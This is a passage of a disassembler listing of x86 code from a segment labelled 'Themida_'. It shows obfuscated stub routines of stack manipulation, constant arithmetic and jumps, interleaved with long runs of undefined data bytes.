sub esi, 4
xchg esi, [esp]
jmp loc_5504B1
; ---------------------------------------------------------------------------
loc_54D46E: ; CODE XREF: Themida_:005447ADj
pop ax
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aAsg db 'aИ┐$',0
align 4
dd 0E45BB505h, 0E838E949h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D486: ; CODE XREF: Themida_:0054BD2Aj
mov edi, [esp]
add esp, 4
sub esp, 4
jmp loc_545390
; ---------------------------------------------------------------------------
db 1
dd 0BE2FE9D7h, 0E1C1FFFFh, 0A4F18108h, 81370E11h, 1110A3E9h
dd 685152B3h, 5C9A730Fh, 3E9C159h, 2592C981h, 0F1810BC6h
dd 0BD76FD7h, 159CA89h, 0E90A01FAh, 0FFFFC99Fh
; ---------------------------------------------------------------------------
loc_54D4D0: ; CODE XREF: Themida_:00545AB3j
xchg ebx, [esp]
pop esp
mov [esp], ebp
sub esp, 4
jmp loc_54788C
; ---------------------------------------------------------------------------
db 68h
dd 56CC0895h, 83243C8Bh, 0E7C104C4h, 0ECCF8104h, 5357FB2Ch
dd 0D1004FBBh, 88E94B68h
db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D4FF: ; CODE XREF: Themida_:0054A4A9j
sub esp, 4
jmp loc_548251
; ---------------------------------------------------------------------------
loc_54D50A: ; CODE XREF: Themida_:0054C3A2j
add al, 7
or bh, al
pop eax
xor bh, 11h
jmp loc_54817E
; ---------------------------------------------------------------------------
db 58h
dd 922FE950h, 1F05FFFFh, 553FAF70h, 733268h, 243C8900h
dd 48411BBFh, 8BFD891Bh, 0C481243Ch, 4, 0FFCC75E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D541: ; CODE XREF: Themida_:00544BF4j
sub esi, 4
xchg esi, [esp]
jmp loc_545DF4
; ---------------------------------------------------------------------------
loc_54D54F: ; CODE XREF: Themida_:00546A46j
push dword ptr [esp]
pop ebp
push esi
mov esi, esp
add esi, 4
jmp loc_547EF7
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
aHyv db '$hyv',0
align 2
dw 0C89h
dd 81E18924h, 4C1h, 2A7E6800h, 2DE90000h, 81FFFFF8h, 5F6CDCEEh
dd 81C60108h, 5F6CDCC6h, 0CDB9E908h, 481FFFFh, 424h, 2434FF00h
dd 0FFF26BE9h, 4C481FFh, 1000000h, 0BAEE81CEh, 595E724Bh
dd 0FFBB4DE9h, 5AD189FFh, 0BEAE9h, 4EC8100h, 89000000h
dd 2CE9243Ch
db 15h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D5CB: ; CODE XREF: Themida_:00544B76j
shr eax, 12h
xor eax, ecx
push 302Bh
mov [esp], eax
xor [esp], edi
xor edi, [esp]
xor [esp], edi
jmp loc_548022
; ---------------------------------------------------------------------------
dw 77FFh
dd 58669D1Ch, 24041166h, 0F822E99Ch, 0B652FFFFh, 8BF788AAh
dd 0C4812414h, 4, 2678E9h
db 0
; ---------------------------------------------------------------------------
loc_54D609: ; CODE XREF: Themida_:005495FEj
push ecx
not dword ptr [esp]
pop ecx
push eax
mov eax, 37A15179h
inc eax
jmp loc_547BEC
; ---------------------------------------------------------------------------
dw 0F5B0h
dd 8B66C330h, 0C4832404h, 0E9DD8802h, 0FFFFD71Dh, 83241C8Bh
dd 0BE5604C4h, 6446148Ch, 0FF7209E9h, 2434FFFFh, 2243E9h
dd 0F6FE3000h, 50FE86D7h, 0EC8051B4h, 0F6CCFEC4h, 84C480DCh
dd 0EEE9E608h, 25000009h, 55601D6Eh, 0D0F7D8F7h, 27628305h
dd 2DD0F77Eh, 1232277Dh, 0BA58C789h, 13F0544Bh, 815FFA31h
dd 563D0BF2h, 0FFD12178h, 0F1E92434h
db 83h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D68F: ; CODE XREF: Themida_:00550399j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
mov ecx, 4
add esi, ecx
push dword ptr [esp]
pop ecx
push 3DEEh
mov [esp], ebp
jmp loc_54B7CB
; ---------------------------------------------------------------------------
db 1, 0F9h, 5Fh
dd 2049E9h, 56685100h, 5966337Eh, 0C375E981h, 0C8894F7Ah
dd 5AD00159h, 0FFE4AEE9h, 243C33FFh, 33243C31h, 0E95C243Ch
dd 0FFFFB677h, 0BA60E953h, 685AFFFFh, 0A4Ah, 0FF240C89h
dd 59042474h, 8B24048Fh, 7FE92424h, 5FFFF6Eh, 4, 405h
dd 24048700h, 124248Bh, 696B05D8h, 0BDE936F9h, 80FFFF7Bh
dd 0DD283CEBh, 4DC5805Bh, 0FF7BDAE9h, 3C77FFFFh, 0FFF88CE9h
dd 4C483FFh, 6E28E381h, 0F3817533h, 22FF72DEh, 292EBD55h
dd 42E9082Dh, 66FFFF9Fh, 0E924048Bh, 0FFFFFA9Eh, 24048B66h
dd 0E9E08950h, 0FFFFF551h, 5EF78959h, 4FB668h, 243C8900h
dd 1D5EE9h
db 0
; ---------------------------------------------------------------------------
loc_54D77D: ; CODE XREF: Themida_:00544ED0j
push eax
mov eax, 44706D16h
inc eax
shl eax, 7
inc eax
sub eax, 38368B7Dh
add edx, eax
pop eax
jmp loc_54C463
; ---------------------------------------------------------------------------
loc_54D795: ; CODE XREF: Themida_:0054A1B1j
add ebx, esi
sub ebx, 66020637h
mov esi, [esp]
push esi
push esp
pop esi
add esi, 4
jmp loc_545914
; ---------------------------------------------------------------------------
dw 0FF5Ch
dd 0E99C240Ch, 0FFFF6DD2h, 8324048Bh, 685B04C4h, 3ABCh
dd 0E9243489h, 0FFFFA8B3h, 0EAC1D2F7h, 3BE5603h, 311DCA25h
dd 0D1015EF2h, 2146685Ah, 34890000h, 81E68924h, 4C6h, 4BA5200h
dd 29000000h, 34875AD6h, 1C895C24h, 0BB24h, 0DFE90000h
dd 54000019h, 0E924048Fh, 0FFFFDD3Ah, 7846EA81h, 0BD5555FAh
dd 7BBF6E4Ah, 154CCD81h, 814D4C30h, 150E51CDh, 0BAC58142h
dd 0E9253901h, 0FFFFD9FEh
; ---------------------------------------------------------------------------
loc_54D834: ; CODE XREF: Themida_:0054A264j
dec esi
push ebx
mov ebx, 0A33620Dh
add ebx, 2EFC4279h
jmp loc_547276
; ---------------------------------------------------------------------------
dw 0C601h
dd 12E9h, 95E95100h
db 6Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D853: ; CODE XREF: Themida_:00548BDDj
pop esi
add esp, 4
or ebp, ebx
pop ebx
jmp loc_548794
; ---------------------------------------------------------------------------
db 58h
dd 0E9243487h, 0FFFF751Eh, 81E18951h, 4C1h, 4C18300h, 5C240C87h
dd 405h, 4ECD6800h, 2C890000h, 0C363E924h, 0FD35FFFFh
dd 81475EDEh, 9E2175C5h, 81C50137h, 9E2175EDh, 24048B37h
dd 4C481h, 0EC810000h, 4, 0FFC190E9h, 4EE381FFh, 0E9065542h
dd 2323h, 0E904EC83h, 0FFFF8900h
; ---------------------------------------------------------------------------
loc_54D8C4: ; CODE XREF: Themida_:00549496j
xor eax, ecx
push esi
mov esi, esp
jmp loc_5457F5
; ---------------------------------------------------------------------------
dw 8956h
dd 4C681E6h, 81000000h, 4C6h, 24348700h, 0FFCD57E9h, 9FE9ACFFh
dd 66FFFF87h, 0E96EA568h, 0FFFFA556h, 0DB61680Dh, 4E570D7Eh
dd 0EC814E0Bh, 4, 0B9240C89h, 0EF6C0C7Dh, 0FFCA62E9h, 0EC815CFFh
dd 2, 1518E9h, 240C3300h, 33240C31h, 665C240Ch, 2404AB0Fh
dd 6C58E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D932: ; CODE XREF: Themida_:0055011Cj
pop ebx
jmp loc_54E510
; ---------------------------------------------------------------------------
loc_54D938: ; CODE XREF: Themida_:00547DB1j
movzx cx, al
push cx
pushf
jmp loc_54458A
; ---------------------------------------------------------------------------
dd 4C481h, 48B0000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], ebx
mov ebx, 4C0A0C1Ch
sub eax, ebx
pop ebx
push small word ptr [eax]
jmp loc_54458A
; ---------------------------------------------------------------------------
loc_54D979: ; CODE XREF: Themida_:0054BD39j
mov [esp], ecx
mov ecx, esp
jmp loc_54D237
; ---------------------------------------------------------------------------
db 5Dh
dd 81243C8Bh, 4C4h, 8BC82100h, 0C481240Ch, 4, 840FC009h
dd 0FFFFA2ECh, 3B2468h, 24048900h, 0FFAE4EE9h, 75EB80FFh
dd 0FFCF74E9h, 804AB7FFh, 0F828B7F7h, 0DF93E95Bh, 0E581FFFFh
dd 27F17DAFh, 3579F581h, 0EA893652h, 0E9242C8Bh, 0FFFFB3FDh
dd 4C481h, 0C7810000h, 4, 4EC81h, 27E90000h, 81FFFFB4h
dd 4C4h, 0ECE95100h
db 0Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D9FB: ; CODE XREF: Themida_:005471D4j
push ebx
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
sub ebx, 77B8679Fh
jmp loc_54E071
; ---------------------------------------------------------------------------
loc_54DA15: ; CODE XREF: Themida_:0054BC29j
push ecx
mov ecx, esp
jmp loc_54627C
; ---------------------------------------------------------------------------
loc_54DA1D: ; CODE XREF: Themida_:0054E8C1j
push dword ptr [esp]
pop edi
add esp, 4
add esp, 4
shr ecx, 0Bh
push esi
push esp
pop esi
push ebx
mov ebx, 4
add esi, 3EEE7C5Bh
jmp loc_544BEB
; ---------------------------------------------------------------------------
db 1, 0EBh, 8Bh
dd 0C481242Ch, 4, 26855h, 2C8B0000h, 31E924h, 2BE90000h
dd 0FFFFFF6Bh, 34FF2434h, 5FE95824h
db 4, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54DA6B: ; CODE XREF: Themida_:00545D88j
push 0
pop ecx
add ecx, ebx
mov eax, [ecx]
jmp loc_54C2C9
; ---------------------------------------------------------------------------
loc_54DA7A: ; CODE XREF: Themida_:0054AAB5j
pop esi
add eax, edi
sub eax, 7D966F87h
push edx
pop dword ptr [eax]
pop eax
jmp loc_54A49D
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 5AC38100h, 812F7D20h, 0FA4A62C3h, 0E9EB0164h
dd 0FFFFC751h, 0EF37E956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DAAA: ; CODE XREF: Themida_:0054DCB3j
xchg ebp, [esp]
pop esp
jmp loc_54C572
; ---------------------------------------------------------------------------
aLHld db '▀$$hLd',0
dw 8900h
dd 0D388241Ch, 52D98851h, 95E9CE88h, 1FFFFDCh, 0E38159CBh
dd 12F618ABh, 0C381DBF7h, 5D5080E8h, 1C8BDE29h, 4C48124h
dd 0E9000000h, 0FFFFC4DDh, 97E9028Fh
db 6Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DAF3: ; CODE XREF: Themida_:0054C69Aj
push dword ptr [esp]
mov ecx, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
jmp loc_54CBFE
; ---------------------------------------------------------------------------
db 64h, 8Fh, 2
dd 0FF6A79E9h, 3C8B5BFFh, 4C48324h, 205h, 6E0AE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DB22: ; CODE XREF: Themida_:0054E474j
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_54BD2F
; ---------------------------------------------------------------------------
dw 0E95Ah
dd 1FA2h
; ---------------------------------------------------------------------------
loc_54DB40: ; CODE XREF: Themida_:0054B387j
push 30C3h
mov [esp], edi
mov edi, esp
jmp loc_54BEB5
; ---------------------------------------------------------------------------
loc_54DB4F: ; CODE XREF: Themida_:0054E8E5j
push ecx
mov ecx, 6BC0550Eh
add ecx, 5C73514Bh
shr ecx, 8
dec ecx
xor ecx, 49A7918h
jmp loc_546264
; ---------------------------------------------------------------------------
dw 1489h
dd 1BA24h, 0D1210000h, 5A2434FFh, 0FF7A7CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DB7D: ; CODE XREF: Themida_:0054A4F2j
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop edi
jmp loc_54F0FF
; ---------------------------------------------------------------------------
loc_54DB90: ; CODE XREF: Themida_:00549CC2j
pop edx
jmp loc_54CCB1
; ---------------------------------------------------------------------------
dw 0D001h
dd 2404335Ah, 33240431h, 0BFE92404h, 53FFFFE4h, 0FFFE08E9h
dd 2434FFFFh, 0F7E95158h, 0F7000012h, 366D68E1h, 14890000h
dd 7FF2E924h, 0EA81FFFFh, 3EFF2D17h, 0C281C201h, 3EFF2D17h
dd 0E924048Bh, 0FFFFB633h, 0C281E289h, 4, 4C281h, 14870000h
dd 0A1E95C24h, 66FFFFBEh, 55240C8Bh, 0ECFE951h, 0D1F60000h
dd 6650CF86h, 8812B551h, 26C3E9E8h, 0C8290000h, 6859h
dd 4290000h, 0D73E924h, 1C870000h, 0F7E95C24h, 83FFFFEDh
dd 2E6804C4h, 0E9000053h, 0FFFF735Eh, 0DA2E181h, 0E9810F96h
dd 682097Eh, 0E959CD01h, 0FFFF8D53h
; ---------------------------------------------------------------------------
loc_54DC48: ; CODE XREF: Themida_:0054F22Dj
mov edi, 0CFE736BCh
add edi, 76931467h
sub edi, 1A951EC2h
add edi, ebp
add edi, 1A951EC2h
sub edi, 76931467h
pop ebp
sub edi, eax
pop eax
add eax, edi
mov edi, [esp]
jmp loc_54A059
; ---------------------------------------------------------------------------
db 0FFh, 32h, 0E9h
dd 0FFFF690Eh, 0DC28142h, 294468FBh, 685D5AD0h, 822h, 0BA241489h
dd 11C64E17h, 0FFBC06E9h, 4C181FFh, 83000000h, 0DE904C1h
db 84h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_54DAAA
; ---------------------------------------------------------------------------
dd 8904EC83h, 4BB241Ch, 1000000h, 2434FFDEh, 2FE9515Bh
dd 66FFFFEEh, 6600B60Fh, 66695A68h, 0E9240489h, 0FFFF68AAh
dd 12454F6h, 241C8B66h, 2C481h, 50660000h, 9F08E952h, 8F66FFFFh
dd 688CE902h, 0A6BBFFFFh, 0E960C61Eh, 18ABh, 0C159CD01h
dd 0D5F705EDh, 59DEF581h, 0EA01FD54h, 93BD555Dh, 8136460Bh
dd 60124BEDh, 0DEED812Ah, 0F739D15Ch, 5BC581DDh, 813DC156h
dd 0ACB9F5F5h, 5DEA016Bh, 8B241487h, 0C4832424h, 9CC88504h
dd 0FF683DE9h, 58C588FFh, 0EDC05B66h, 52CDFE05h, 0C6FE46B6h
dd 807DE680h, 0F500CAC6h, 0B252665Ah, 7A71E99Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DD6E: ; CODE XREF: Themida_:00547BF3j
sub eax, 55C4C764h
sub ecx, eax
jmp loc_54AE7E
; ---------------------------------------------------------------------------
dw 0BB53h
dd 17D959C1h, 0EB81D3F7h, 6CED27CDh, 0FF8695E9h, 585450FFh
dd 405h, 4C08300h, 7441E950h, 505FFFFFh, 0FFE9E8E9h, 24248BFFh
dd 81E38953h, 4C3h, 4C38100h, 0E9000000h, 6Bh, 820459h
dd 2EC81D8h, 66000000h, 0B6241489h, 28950482h, 66952CF0h
dd 8124148Bh, 2C4h, 4DE95300h
db 7Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DDE3: ; CODE XREF: Themida_:005454CEj
mov eax, 12E43505h
xor eax, 63BB4600h
jmp loc_545ECF
; ---------------------------------------------------------------------------
dw 481h
dd 424h, 74F5E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DDFE: ; CODE XREF: Themida_:00548A27j
push eax
jmp loc_54D24F
; ---------------------------------------------------------------------------
dd 2414895Ch, 0FF677DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DE0D: ; CODE XREF: Themida_:0054E06Cj
add ebx, edx
add [ebx], ebp
pop ebx
mov ebp, [esp]
add esp, 4
popa
jmp loc_54F894
; ---------------------------------------------------------------------------
db 59h, 0E9h, 7Bh
dd 87FFFFB2h, 685C241Ch, 13CAh, 0FFA3ABE9h, 54515CFFh
dd 4C18159h, 53000000h, 4BA52h, 89510000h, 59CB89D1h, 5BD9015Ah
dd 31240C33h, 0C33240Ch, 24248B24h, 68C8B70Fh, 7978h, 0E9240C89h
dd 0FFFF671Eh
; ---------------------------------------------------------------------------
loc_54DE6C: ; CODE XREF: Themida_:0054E031j
mov esi, 2DD59F1h
xor edi, esi
pop esi
and esi, edi
pop edi
shr esi, 6
neg esi
sub esi, 57020D44h
push 4548h
mov [esp], edi
mov edi, 7CA35BA0h
jmp loc_544CB5
; ---------------------------------------------------------------------------
dd 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 0BFE92424h, 80FFFFFCh
dd 0CBFEFFC3h, 0E9F2F380h, 0FFFF790Dh, 0B1E9CEB3h, 52FFFF89h
dd 3A0FEFBAh, 0CE4CE935h, 0C483FFFFh, 44496804h, 5EE90000h
dd 53FFFF80h, 771294BBh, 0CDFDE959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DEE2: ; CODE XREF: Themida_:00548E9Ej
pop ebx
or eax, eax
jz loc_5488FD
push dword ptr [edi+1Ch]
push esi
mov esi, 47827DDCh
xor [esp+4], esi
jmp loc_54CDD6
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
db '$h<%',0
align 2
dw 0C89h
dd 0C8B5424h, 999BE924h, 0E958FFFFh, 0FFFF8E07h, 4C4815Dh
dd 29000000h, 243C8BFBh, 5604C483h, 0FF6BFFE9h, 405FFh
dd 4870000h, 0F0295C24h, 5E2434FFh, 55E08950h, 4D63CABDh
dd 26CD8141h, 81505C47h, 0CD03E2CDh, 0E9D5F74Fh, 0FFFF685Ah
; ---------------------------------------------------------------------------
loc_54DF58: ; CODE XREF: Themida_:005505D4j
xor edi, edx
xor edx, edi
push eax
push edx
mov eax, [esp]
add esp, 4
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
push edx
mov edx, 0A513940h
inc edx
jmp loc_5463BD
; ---------------------------------------------------------------------------
dd 81242C89h, 4ECh, 24348900h, 0BA525E54h, 525B70A5h, 634CE281h
dd 0EA8125A0h, 6000h, 815AD601h, 4EEh, 24348700h, 2434895Ch
dd 0FFF3E9E9h, 59E800FFh, 582CD828h, 0FFDBF4E9h, 9BF57FFh
dd 0E9590E48h, 0FFFFF3BFh, 2811055Ch, 0EAE9605Fh, 2CFFFFF5h
dd 844FE920h, 0E189FFFFh, 4BD5550h, 89000000h, 0C1015DE8h
dd 8324048Bh, 0BA5204C4h, 2, 785FC181h, 0C18175CBh, 3945DB8h
dd 0E981D101h, 3945DB8h, 1703BF57h, 0C7810018h, 78CD00D3h
dd 0D108E7C1h, 0B18CE9EFh, 0C681FFFFh, 0B3841D90h, 0FFE3F3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E029: ; CODE XREF: Themida_:00548130j
dec edi
and edi, 22FC2A51h
push esi
jmp loc_54DE6C
; ---------------------------------------------------------------------------
dw 0E581h
dd 47B2758Ch, 7A4CED81h, 0F5811356h, 0F03B963Eh, 0FFB2ACE9h
dd 0E6C058FFh, 0D8F5E906h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E056: ; CODE XREF: Themida_:0054B29Fj
push edx
push 319B181Ch
pop edx
xor edx, 5C4F1166h
xor edx, 6DD4094Ah
mov ebx, edx
pop edx
jmp loc_54DE0D
; ---------------------------------------------------------------------------
loc_54E071: ; CODE XREF: Themida_:0054DA10j
sub ebx, eax
jmp loc_549246
; ---------------------------------------------------------------------------
dd 0EDE9515Dh
db 78h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E07F: ; CODE XREF: Themida_:00549D12j
pop eax
jmp loc_547DA1
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 592434FFh, 0FFE10AE9h, 6C4FB9FFh, 41494BC1h, 0C6C18149h
dd 291F90DBh, 5D5659CEh, 72C5815Eh, 2932B7E8h, 8A7DE9E8h
dd 0D3E9FFFFh, 29FFFF64h, 0F7BD55D0h, 8108CE3Fh, 4ECh
dd 24148900h, 8D1FBDBAh, 0CA2FE959h, 0F580FFFFh, 8BE830A3h
dd 0EC81240Ch, 4, 54242C89h, 0FFE6F3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E0E9: ; CODE XREF: Themida_:0054E361j
sub bl, 3Ch
jmp loc_54C156
; ---------------------------------------------------------------------------
db 87h, 14h, 24h
dd 241C895Ch, 42E9C788h, 58FFFF68h, 0FFC7CFE9h, 0C18159FFh
dd 4, 8704C183h, 875C240Ch, 248B2434h, 2434FF24h, 63685058h
dd 8900003Fh, 4832424h, 83580424h, 0C8904ECh, 68D4B924h
dd 0C1813641h, 4B8D7579h, 0D97EE955h, 0B951FFFFh, 62FF549Eh
dd 3325E981h, 0CF316143h, 0D5EF8159h, 2D3E3BF2h, 555D4B72h
dd 76E9F801h, 51FFFFE4h, 0FF6B69E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E169: ; CODE XREF: Themida_:0054B7DAj
add esi, 4
jmp loc_54CF9C
; ---------------------------------------------------------------------------
loc_54E174: ; CODE XREF: Themida_:0054E669j
xchg edx, ecx
push ecx
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
add esp, 4
pop dword ptr [esp]
push dword ptr [esp]
pop eax
push ecx
jmp loc_54BB64
; ---------------------------------------------------------------------------
dw 875Dh
dd 248B2404h, 4C18124h, 83000000h, 56E904ECh, 1FFFFC7h
dd 7CA8E9CFh, 0F181FFFFh, 7D1A2844h, 9AC98149h, 8162337Fh
dd 0D163FCF1h, 8BCE014Ch, 0C481240Ch, 4, 6D23C681h, 0CE01630Bh
dd 6D23EE81h, 0ACE9630Bh
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E1DF: ; CODE XREF: Themida_:0054BA94j
pop edx
pop ebx
not esi
xor esi, 579FA611h
and eax, esi
mov esi, [esp]
add esp, 4
shr eax, 0Ch
jmp loc_54BCDA
; ---------------------------------------------------------------------------
dd 0E9242C8Bh, 0FFFF9194h, 1D6DDDBFh, 0BA523Ah, 0E96DFF2Fh
dd 0FFFFD1A7h, 6581CA81h, 0E95355B1h, 0FFFFA42Dh, 24048B66h
dd 306568h, 241C8900h, 0FFED28E9h, 8BF588FFh, 0C4812414h
dd 4, 34FFE800h, 89505924h, 405E0h, 0C0830000h, 14FCE904h
dd 0F6810000h, 581C2094h, 24148B56h, 5E04C483h, 83242C8Bh
dd 1FE904C4h, 81FFFF63h, 947BF8EBh, 0B31AE950h, 481FFFFh
dd 630B6F24h, 0EA815A74h, 74630B6Fh, 8324348Bh, 0C8904ECh
dd 81E18924h, 4C1h, 4EC8100h, 89000000h, 4BA2414h, 57000000h
dd 0FFA75CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E2A9: ; CODE XREF: Themida_:0054CD85j
add edi, 4
add edi, 4
jmp loc_54A35F
; ---------------------------------------------------------------------------
db 89h
dd 0B8502424h, 4, 4244401h, 0C1815958h, 4, 4BE56h, 0F1010000h
dd 8324348Bh, 936804C4h, 89000052h, 97E9240Ch
db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E2E7: ; CODE XREF: Themida_:00549ECEj
pop edi
add edi, 4
add edi, 4
jmp loc_545398
; ---------------------------------------------------------------------------
loc_54E2F6: ; CODE XREF: Themida_:00550348j
sub esp, 4
mov [esp], edx
mov edx, 6E157D73h
sub edx, 577C3154h
jmp loc_54CA56
; ---------------------------------------------------------------------------
db 81h
dd 0C116FDF5h, 30ED8114h, 0E95ABC60h, 200Ch, 83243C8Bh
dd 0C20104C4h, 0FF7BD9E9h, 5EF001FFh, 0FFB40DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E335: ; CODE XREF: Themida_:0054C758j
shl ebx, 8
or ebx, 29E36B07h
dec ebx
sub ebx, 58C28CB2h
dec ebx
jmp loc_5471D3
; ---------------------------------------------------------------------------
db 83h
dd 1C8904ECh, 53F9BB24h, 0DA291EFDh, 622CE95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E35E: ; CODE XREF: Themida_:00546A73j
sub bl, ch
pop ecx
jmp loc_54E0E9
; ---------------------------------------------------------------------------
loc_54E366: ; CODE XREF: Themida_:00547F82j
xchg ebp, [esp]
pop esp
add bl, 27h
sub bl, al
sub bl, 27h
push small 1590h
mov [esp], dx
mov dl, 42h
add bl, dl
mov dx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 2
jmp loc_548324
; ---------------------------------------------------------------------------
loc_54E392: ; CODE XREF: Themida_:00544791j
xor esi, 0E3847BFh
inc esi
jmp loc_54E743
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0D8E9E989h, 0BDFFFFF5h, 1, 4E5DEE29h, 4ED6F74Eh
dd 8106EEC1h, 4ECh, 24148900h, 0FF9A23E9h, 0EC8358FFh
dd 241C8904h, 952FE955h, 0FA29FFFFh, 116FEA81h, 0E95F2B37h
dd 0FFFF70A8h, 0B2E9F300h
db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E3EB: ; CODE XREF: Themida_:005458AEj
xchg edx, [esp]
pop esp
jmp loc_548A1F
; ---------------------------------------------------------------------------
dd 5B2434FFh, 6804C483h, 61EFh, 0E9241C89h, 0FFFF8ACFh
dd 8417E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E40E: ; CODE XREF: Themida_:0054CF97j
mov edi, 4B520307h
jmp loc_54811E
; ---------------------------------------------------------------------------
dd 8204CD04h, 0C3006634h, 0FFBE7FE9h, 0FFFF68FFh, 2958FFFFh
dd 0EF8158C7h, 7A9E72AFh, 120EE952h, 4330000h, 24043124h
dd 5C240433h, 8095E950h, 8957FFFFh, 4C781E7h, 83000000h
dd 3C3304C7h, 9533E924h, 34FFFFFFh, 0C4815F24h, 4, 0FFED54E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E46D: ; CODE XREF: Themida_:0054945Fj
mov esi, 4
sub ebp, esi
jmp loc_54DB22
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 7E4468h, 24348900h, 95E9E689h, 81FFFFD6h, 621C06EEh
dd 0C683593Eh, 24348702h, 6624248Bh, 5624048Bh, 0E957E689h
dd 0FFFFB1B1h, 0E4EEC281h, 0D3894AD7h, 5BD8015Ah, 2940685Bh
dd 3C890000h, 78BB5324h, 0E9705228h, 0A55h, 7E68BE2Dh
dd 6541E933h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E4D2: ; CODE XREF: Themida_:00544FF7j
add ebp, 4
xchg ebp, [esp]
pop esp
push esi
push ebp
mov ebp, 5BC825F8h
inc ebp
shr ebp, 6
neg ebp
jmp loc_54B3E6
; ---------------------------------------------------------------------------
loc_54E4EE: ; CODE XREF: Themida_:005446EFj
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
not edi
xchg edi, [esp]
pop eax
push ebx
mov ebx, 75745AA9h
neg ebx
push eax
mov eax, 35D11202h
jmp loc_5482FD
; ---------------------------------------------------------------------------
loc_54E510: ; CODE XREF: Themida_:0054D933j
push edi
push esp
pop edi
add edi, 4
push 7E1Ch
mov [esp], eax
mov eax, 2EA85436h
shr eax, 4
sub eax, 2EA853Fh
add edi, eax
pop eax
xchg edi, [esp]
mov esp, [esp]
shl eax, cl
push 2313h
mov [esp], ebp
jmp loc_54F5B9
; ---------------------------------------------------------------------------
dw 0E580h
dd 0B3F580C4h, 0FFF656E9h, 40F281FFh, 119FA2Bh, 55505AD5h
dd 322F4ABDh, 5DE88953h, 0D06E8C1h, 461216E7h, 0FFF319E9h
dd 0F3295EFFh, 81BA525Eh, 81144836h, 70066BF2h, 5AD3291Eh
dd 12300F2Dh, 5D80150h, 5012300Fh, 2055Bh, 4870000h, 24248B24h
dd 4A30F66h, 0E3E99C24h
db 5Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E5A7: ; CODE XREF: Themida_:0054C9B2j
sub edx, 731FBA8h
xor edi, edx
pop edx
mov ebp, edi
jmp loc_549C57
; ---------------------------------------------------------------------------
db 56h
dd 3F5773BEh, 8B5D5606h, 0C4812434h, 4, 0FFD08DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E5CD: ; CODE XREF: Themida_:00550647j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_549321
; ---------------------------------------------------------------------------
dw 0F701h
dd 243C875Eh, 0F24248Bh, 9C51C8AFh, 0FF5F99E9h, 2474FFFFh
dd 48F5904h, 0DA60E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E5FE: ; CODE XREF: Themida_:0054BC4Aj
and edx, esi
pop esi
dec edx
sub esp, 4
mov [esp], eax
mov eax, 5A8712F7h
inc eax
shr eax, 3
sub eax, 0FB5B94EBh
jmp loc_54E66E
; ---------------------------------------------------------------------------
db 57h
dd 0FFBC5FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E621: ; CODE XREF: Themida_:00546D1Aj
shr ecx, 3
neg ecx
sub ecx, 0FFFFFFFFh
sub ecx, 0FF3F7F35h
rep movsd
add esp, [edx+38h]
jmp loc_54B444
; ---------------------------------------------------------------------------
db 5Eh, 0E9h, 80h
db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E63F: ; CODE XREF: Themida_:00545E3Dj
